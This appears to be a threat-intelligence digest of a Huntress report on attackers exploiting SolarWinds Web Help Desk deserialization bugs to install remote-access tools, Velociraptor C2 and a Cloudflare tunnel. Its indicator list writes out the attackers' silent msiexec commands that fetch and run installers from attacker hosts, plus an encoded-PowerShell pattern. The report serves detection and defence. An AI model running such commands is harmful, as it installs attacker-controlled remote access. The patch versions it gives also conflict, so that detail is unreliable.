Active Exploitation of SolarWinds Web Help Desk (CVE-2025-26399)
Huntress details active exploitation of SolarWinds Web Help Desk deserialization vulnerabilities (CVE-2025-26399, plus CVE-2025-40551 which is in CISA KEV, and CVE-2025-40536) across three customer intrusions, tracing an attack chain from wrapper.exe/java.exe spawning silent MSI installs of Zoho Assist, through Velociraptor abused as a C2 framework, a Cloudflare Workers/mooo.com HTTP-406-triggered C2 failover mechanism, Get-ComputerInfo exfiltration to an attacker-run Elastic Cloud instance, Windows Defender/Firewall disabling via registry edits, and QEMU-based SSH backdoor persistence via a "TPMProfiler" scheduled task. It provides mitigation guidance (patch to WHD 2026.1, remove admin interface from the internet, reset credentials) and links to Sigma detection rules.
What it is
Huntress incident report on active in-the-wild exploitation of SolarWinds Web Help Desk (WHD). Two deserialization RCE bugs are in play: CVE-2025-26399 (named in the title, corroborated by Microsoft and others) and CVE-2025-40551, which was added to CISA's Known Exploited Vulnerabilities catalog. Huntress observed exploitation across 3 customers; investigation began February 7, 2026 (SOC analyst Dipo Rodipe), aligning with Microsoft's February 6 advisory.
How it works
Untrusted deserialization grants arbitrary code execution. In the observed chain, the WHD service wrapper wrapper.exe spawned java.exe (Tomcat-based WHD app), which launched cmd.exe to silently install a remote MSI. The actor staged a Zoho ManageEngine RMM agent (process TOOLSIQ.EXE) configured for unattended access, then used it for hands-on-keyboard AD recon and to deploy Velociraptor as C2, followed by a Cloudflare tunnel for redundant access.
flowchart TD A[WHD deserialization RCE] --> B[wrapper.exe → java.exe → cmd.exe] B --> C[msiexec: Zoho RMM agent from Catbox] C --> D[AD recon: net group domain computers] C --> E[msiexec: Velociraptor from Supabase → C2] E --> F[encoded PowerShell] E --> G[msiexec: Cloudflared tunnel]
Preconditions / Affected
All SolarWinds WHD versions prior to 12.8.7 HF1. Check the installed version at:
C:\Program Files\WebHelpDesk\version.txtWhat to do
Apply the SolarWinds update (12.8.7 HF1 or later) as soon as possible. Hunt for these observed IOCs / commands:
msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi
msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi
msiexec /q /i hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi
Get-FileHash "C:\ProgramData\Microsoft\code.exe"
net group "domain computers" /doOther indicators: Zoho Assist unattended access tied to esmahyft@proton[.]me; RMM process TOOLSIQ.EXE; Velociraptor v0.73.4 (outdated, has a privesc bug) pointing to server https://auth.qgtxtebl.workers[.]dev/; encoded PowerShell via powershell.exe -ExecutionPolicy Unrestricted -encodedCommand (base64 UTF-16LE); code.exe dropped to C:\ProgramData\Microsoft\.
Caveats
The Cloudflare Worker subdomain identifier qgtxtebl ties this account to prior intrusions involving ToolShell exploitation and Warlock ransomware — the same operator, per Huntress. Note the fetched text truncates mid-sentence ("System reconnaissance exfiltration to Elastic Clo…"), so later exfiltration details are not captured here.
Organisations named here
- esmahyft@proton.me
- TPMProfiler
CVEs named here
- CVE-2025-26399
- CVE-2025-40551
- CVE-2025-40536
Technologies named here
- SolarWinds Web Help Desk
- Velociraptor
- Cloudflare Workers
- QEMU
- Zoho Assist
- PowerShell
Techniques named here
- Encoded PowerShell command execution
- SSH backdoor persistence via QEMU
Threat actors named here
- Warlock ransomware
Also named here
- ToolShell
Related in Threat Intel
Reverse Engineering the Six Stages of MacSync Stealer and RAT
AI-Coded Malware | Analyzing Vibe-Coded AD Enumeration | Huntress
